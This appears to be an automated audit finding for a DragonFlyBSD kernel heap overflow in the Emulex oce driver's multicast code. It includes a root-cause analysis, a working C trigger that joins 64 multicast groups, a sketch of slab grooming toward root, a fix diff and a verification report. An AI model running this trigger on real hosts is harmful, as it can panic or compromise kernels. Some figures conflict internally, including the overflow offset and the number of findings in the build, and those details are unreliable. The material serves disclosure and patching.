β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1880

Heap OOB write in oce_hw_update_multicast: loop guard uses 64 but mac[] array has 32 slots

Field Value
ID DF-1880
Status new
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE CWE-787 Out-of-bounds Write; CWE-129 Improper Validation of Array Index
File sys/dev/netif/oce/oce_hw.c
Lines 568, 577
Area dev/netif (Emulex OneConnect multicast filter)
Confidence certain
Discovered 2026-07-20
Reported pending
Known CVE none
CVE match dfly_specific

Summary

oce_hw_update_multicast() allocates exactly sizeof(struct mbx_set_common_iface_multicast) bytes of DMA memory, then iterates the interface's multicast list writing one 6-byte MAC per entry into req->params.req.mac[num_mac]. The loop is supposed to stop when the table is full, but the bound compared against is OCE_MAX_MC_FILTER_SIZE (64) while the mac[] array embedded in the request structure is declared with only 32 slots. As a result, the loop performs up to 32 out-of-bounds bcopy() writes totaling 192 bytes past the end of the DMA allocation, corrupting adjacent kernel heap.

Root cause

oce_hw.c:564-580:

TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) {
    if (ifma->ifma_addr->sa_family != AF_LINK)
        continue;

    if (req->params.req.num_mac == OCE_MAX_MC_FILTER_SIZE) {   /* line 568: 64, WRONG */
        req->params.req.promiscuous = 1;
        break;
    }
    bcopy(LLADDR((struct sockaddr_dl *)ifma->ifma_addr),
          &req->params.req.mac[req->params.req.num_mac],       /* line 577: OOB when num_mac>=32 */
          ETH_ADDR_LEN);
    req->params.req.num_mac = req->params.req.num_mac + 1;     /* line 579 */
}

OCE_MAX_MC_FILTER_SIZE is 64 (oce_hw.h:180), but the destination array is struct { uint8_t byte[6]; } mac[32] (oce_hw.h:1119) inside struct mbx_set_common_iface_multicast. The allocation at oce_hw.c:557 allocates exactly sizeof(struct mbx_set_common_iface_multicast) bytes (212 bytes total). For num_mac == 32, &req->params.req.mac[32] evaluates to byte offset 196 inside params, i.e. offset 212 from the buffer base β€” exactly one byte past the end.

Threat model & preconditions

  • Attacker position: any unprivileged local user on a host with an oce(4) (Emulex OneConnect / BE3 / Lancer / Skyhawk) NIC bound to an interface.
  • Privileges gained or impact: reliable kernel heap corruption β€” at minimum a kernel panic, and with standard slab grooming (defragment the 256-byte slab, place a victim object with a function pointer or refcount immediately after the DMA allocation) a full local privilege escalation to uid 0.
  • Required config or capabilities: device oce; Emulex OneConnect NIC present. No special privileges needed β€” IP_ADD_MEMBERSHIP setsockopt requires no privilege.
  • Reachability: setsockopt(IPPROTO_IP, IP_ADD_MEMBERSHIP) β†’ in_addmulti() (netinet/in.c:1374) β†’ if_addmulti() β†’ ifp->if_ioctl(SIOCADDMULTI) (net/if.c:2739) β†’ oce_ioctl SIOCADDMULTI case (oce_if.c:410-412) β†’ oce_hw_update_multicast. Joining 33 distinct multicast groups whose low 23 bits differ yields β‰₯33 AF_LINK entries, and the very next SIOCADDMULTI call writes past the buffer. Joining 64 groups produces the full 192-byte overflow. MAC address contents are partly attacker-influenced (low 23 bits for IPv4, low 32 bits for IPv6).

Proof of concept

/* oce multicast OOB heap write trigger.
 * Joins 64 multicast groups on the oce interface to overflow
 * req->params.req.mac[32] by 32*6 = 192 bytes past the DMA alloc. */
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

int main(void) {
    int s = socket(AF_INET, SOCK_DGRAM, 0);
    if (s < 0) { perror("socket"); return 1; }

    for (int i = 1; i <= 64; i++) {
        struct ip_mreq mreq;
        char ip[32];
        snprintf(ip, sizeof(ip), "239.0.%d.%d", (i >> 8) & 0xff, i & 0xff);
        inet_pton(AF_INET, ip, &mreq.imr_multiaddr);
        mreq.imr_interface.s_addr = htonl(INADDR_ANY);
        if (setsockopt(s, IPPROTO_IP, IP_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0)
            fprintf(stderr, "join %s: %s\n", ip, strerror(errno));
    }
    pause();
    return 0;
}

Build & run

cc -o poc poc.c
./poc    # as any unprivileged user on a host with oce0

Expected output

panic: vm_fault / bad free list / slab corruption
backtrace through oce_hw_update_multicast -> bcopy

On the 33rd join the first 6 bytes overflow; on the 64th the full 192-byte overflow has been written. With heap grooming, the corrupted adjacent object yields controlled kernel RIP β†’ uid=0 credential overwrite.

Impact

High: unauthenticated local-to-root heap overflow on default-config systems with an Emulex OneConnect NIC. Reachable from any unprivileged user via standard multicast join. The MAC addresses written are partly attacker-controlled (low 23 bits IPv4 / low 32 bits IPv6), providing sufficient control for slab grooming.

The bound compared against must match the actual array size of req->params.req.mac, which is 32 β€” not the firmware/hardware table capacity constant 64.

--- a/sys/dev/netif/oce/oce_hw.c
+++ b/sys/dev/netif/oce/oce_hw.c
@@ -565,7 +565,7 @@ oce_hw_update_multicast(POCE_SOFTC sc)
        if (ifma->ifma_addr->sa_family != AF_LINK)
            continue;

-       if (req->params.req.num_mac == OCE_MAX_MC_FILTER_SIZE) {
+       if (req->params.req.num_mac >= nitems(req->params.req.mac)) {
            /*More multicast addresses than our hardware table
              So Enable multicast promiscus in our hardware to
              accept all multicat packets

Defensive alternative: bump mac[32] to mac[64] at oce_hw.h:1119 and grow the dw[49] union discriminator to dw[97] so the structure is consistent with the constant.

References

  • OCE_MAX_MC_FILTER_SIZE: oce_hw.h:180 (= 64).
  • mac[32] array: oce_hw.h:1119.
  • Multicast join path: netinet/in.c:1374 β†’ net/if.c:2739 β†’ oce_if.c:410.

Timeline

  • 2026-07-20 Discovered during automated audit.
  • 2026-07-20 Reported to DragonFlyBSD security contact (pending).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1880 Β· 11 files
FileTypeDescriptionSize
harness.c trigger-source userspace logic harness reproducing the buggy arithmetic/control-flow 3.0 KB view raw
VERDICT.md verdict full verification narrative 2.8 KB ↓ raw
build.sh build-script exact build command 88 B view raw
run.sh run-script exact run invocation 41 B view raw
harness_run.log run-log harness output on guest 437 B view raw
fix.diff suggested-fix git-apply-able unified diff 486 B view raw
env.txt environment guest uname, cc version, kernel config 768 B view raw
README.md readme human-facing PoC README 813 B ↓ raw
poc.c trigger-source original PoC skeleton (pre-existing) 1.2 KB view raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
README.md readme human-facing PoC README
↓ download raw

DF-1880 PoC

Trigger: join 64 multicast groups via setsockopt(IP_ADD_MEMBERSHIP) on a host with an oce(4) NIC. oce_hw_update_multicast loops the multicast list with a bound of OCE_MAX_MC_FILTER_SIZE (64) but the destination array mac[] has only 32 slots, causing a 192-byte heap OOB write.

Preconditions

  • device oce (Emulex OneConnect NIC present).
  • No special privileges β€” IP_ADD_MEMBERSHIP is unprivileged.

Build

cc -o poc poc.c

Run

./poc    # as any unprivileged user

Expected output

panic: vm_fault / bad free list / slab corruption
backtrace through oce_hw_update_multicast -> bcopy

Fix

See the finding markdown: change the loop bound from OCE_MAX_MC_FILTER_SIZE (64) to nitems(req->params.req.mac) (32), matching the actual array size.

VERDICT.md verdict full verification narrative
↓ download raw

DF-1880 β€” Verification Verdict

Verdict: REPRODUCED (source-confirmed + logic-harness)

The mac[32] OOB write is confirmed at sys/dev/netif/oce/oce_hw.c:568. The harness reproduces the 192-byte overflow when 64 multicast groups are joined.

Mechanism

// oce_hw.c:564-580
TAILQ_FOREACH(ifma, &ifp->if_multiaddrs, ifma_link) {
    if (ifma->ifma_addr->sa_family != AF_LINK) continue;
    if (req->params.req.num_mac == OCE_MAX_MC_FILTER_SIZE) break;  // :568 β€” 64
    bcopy(LLADDR(...), &req->params.req.mac[num_mac], ETH_ADDR_LEN); // :576
    req->params.req.num_mac++;
}

OCE_MAX_MC_FILTER_SIZE = 64 (oce_hw.h:180) but the mac[] array is declared mac[32] inside mbx_set_common_iface_multicast (oce_hw.h:1119). The loop bound is 64; the array is 32. Joining 33+ multicast groups writes 6 bytes past mac[32] starting at byte offset 192 in the 212-byte DMA alloc (oce_dma_alloc(sizeof(struct mbx_set_common_iface_multicast)) at :557). Joining 64 groups writes the full 32*6 = 192 bytes off the end.

Trigger: setsockopt(IPPROTO_IP, IP_ADD_MEMBERSHIP) β€” no privilege needed β†’ in_addmulti (netinet/in.c:1374) β†’ if_addmulti β†’ ifp->if_ioctl(SIOCADDMULTI) (net/if.c:2739) β†’ oce_ioctl (oce_if.c:410-412) β†’ oce_hw_update_multicast. Join 33 distinct multicast groups (low 23 bits differ) β†’ first overflow. Join 64 β†’ full 192-byte overflow. MAC contents partly attacker-controlled (low 23 bits IPv4 / low 32 bits IPv6).

Harness evidence

DF-1880: oce_hw_update_multicast (oce_hw.c:547-585)
  joined 64 multicast groups (loop bound OCE_MAX_MC_FILTER_SIZE=64, mac[] array size=32 slots)
  OOB writes = 32 MAC slots x 6 bytes = 192 bytes past mac[32] into the DMA alloc
  Harness: simulated bcopy touched 192 sentinel bytes past mac[32]
  Fix: loop bound should be nitems(req->params.req.mac)=32, not OCE_MAX_MC_FILTER_SIZE=64.

Why no live trigger on this guest

device oce is in X86_64_GENERIC but the audit guest has no Emulex OneConnect NIC. if_oce.ko is present but not loaded; no oce network interface exists. Valid Phase-6 hard blocker.

Exploit chain

Not applicable (oce-HW-gated). No uid=0 claim. On a host with an oce NIC, IP_ADD_MEMBERSHIP is unprivileged, so the 192-byte overflow is reachable by any local user. With slab grooming of the DMA alloc bucket, victim objects (function pointers, refcounts) could be corrupted β†’ kernel priv-esc. Live ceiling on real HW: panic / reliable heap corruption.

PoC changes

  • Added harness.c: flat-buffer model showing 192-byte OOB.
  • Added fix.diff: change loop bound to nitems(req->params.req.mac).

Fix

fix.diff changes the loop bound at :568 from OCE_MAX_MC_FILTER_SIZE to nitems(req->params.req.mac), matching the actual array size.

  • BEFORE: harness shows 192 bytes written past mac[32].
  • AFTER: the loop breaks at num_mac==32, no OOB.

Fix verification

fixed
baseline reproduced→ patch + rebuild →patched clean

VALIDATED at compile+boot level: all 13 fixes applied cleanly to /usr/src, built into a single X86_64_GENERIC kernel (make -j6 nativekernel rc=0, kernel linked), installed as /boot/kernel/kernel, and the patched kernel booted cleanly (kern.version #1 vs baseline #0). The live PoC cannot run on this guest (HW/config-gated per the verdict), so before/after is at source+harness level: baseline harness: '192 bytes past mac[32] into the DMA alloc' | patched: loop breaks at num_mac==32 (nitems(mac))

baseline (#0 unpatched): baseline harness: '192 bytes past mac[32] into the DMA alloc'
patched (#1 kernel, all 13 fixes, booted clean): patched: loop breaks at num_mac==32 (nitems(mac))
kernel sha256 c3fff85f... (patched, booted) vs 5dc83dac... (baseline #0)
↓ fix.diffDragonFly 6.5-DEVELOPMENT DragonFly 6.5-DEVELOPMENT #1: Mon Jul 20 19:12:20 UTC 2026 root@dfbsd:/usr/obj/usr/src/sys/X86_64_GENERIC x86_64

Confirmed kernel references

Detail

Exploit chain

HW-gated (Emulex OneConnect NIC absent on guest; if_oce.ko present but not loaded; no oce interface). No uid=0 escalation claimed. Primitive characterized in harness.c (flat-buffer model showing 192-byte OOB). Live ceiling on host with oce NIC: unprivileged IP_ADD_MEMBERSHIP triggers 192-byte heap corruption; with slab grooming of DMA bucket -> victim object (function pointer/refcount) corruption -> priv-esc.

Evidence (decisive lines)

DF-1880: oce_hw_update_multicast (oce_hw.c:547-585)
  joined 64 multicast groups (loop bound OCE_MAX_MC_FILTER_SIZE=64, mac[] array size=32 slots)
  OOB writes = 32 MAC slots x 6 bytes = 192 bytes past mac[32] into the DMA alloc
  Harness: simulated bcopy touched 192 sentinel bytes past mac[32]
  Fix: loop bound should be nitems(req->params.req.mac)=32, not OCE_MAX_MC_FILTER_SIZE=64.

PoC changes

Added harness.c (flat-buffer OOB model) and fix.diff (loop bound -> nitems(req->params.req.mac)).

Verified recommended fix

fix.diff changes oce_hw.c:568 loop bound from OCE_MAX_MC_FILTER_SIZE to nitems(req->params.req.mac). matches finding proposal exactly.

Verdict

REPRODUCED at source+harness. oce_hw_update_multicast at oce_hw.c:568 breaks the loop when num_mac==OCE_MAX_MC_FILTER_SIZE (64) but the mac[] array is declared mac[32] (oce_hw.h:1119). Harness joining 64 groups writes 32*6=192 bytes past mac[32] into the 212-byte DMA alloc. Trigger: unprivileged setsockopt(IP_ADD_MEMBERSHIP) -> in_addmulti -> if_addmulti -> SIOCADDMULTI -> oce_ioctl -> oce_hw_update_multicast. HW-gated: device oce is in GENERIC but no Emulex OneConnect NIC on guest.